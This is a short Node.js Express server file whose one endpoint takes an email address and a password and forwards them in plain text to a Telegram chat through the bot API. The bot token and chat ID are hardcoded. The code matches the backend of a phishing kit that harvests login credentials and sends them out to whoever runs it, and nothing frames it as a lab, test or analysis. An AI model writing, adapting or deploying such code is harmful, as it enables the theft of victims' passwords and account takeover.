const express = require('express'); const fetch = require('node-fetch'); const bodyParser = require('body-parser'); const app = express(); const port = process.env.PORT || 3000; const TELEGRAM_BOT_TOKEN = '5981149220:AAFnZ-7m9LfNBDf4ojGcpA4dx6T6ESOvg7Y'; const TELEGRAM_CHAT_ID = '944930731'; app.use(express.static('public')); app.use(bodyParser.json()); app.post('/send-message', async (req, res) => { const { email, password } = req.body; if (!email || !password) { return res.status(400).json({ error: 'Email and Password are required' }); } const telegramMessage = `Email: ${email}\nPassword: ${password}`; try { await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: TELEGRAM_CHAT_ID, text: telegramMessage, }), }); res.status(200).json({ success: true }); } catch (error) { console.error('Error sending message:', error); res.status(500).json({ error: 'Failed to send message' }); } }); app.listen(port, () => { console.log(`Server running on port ${port}`); });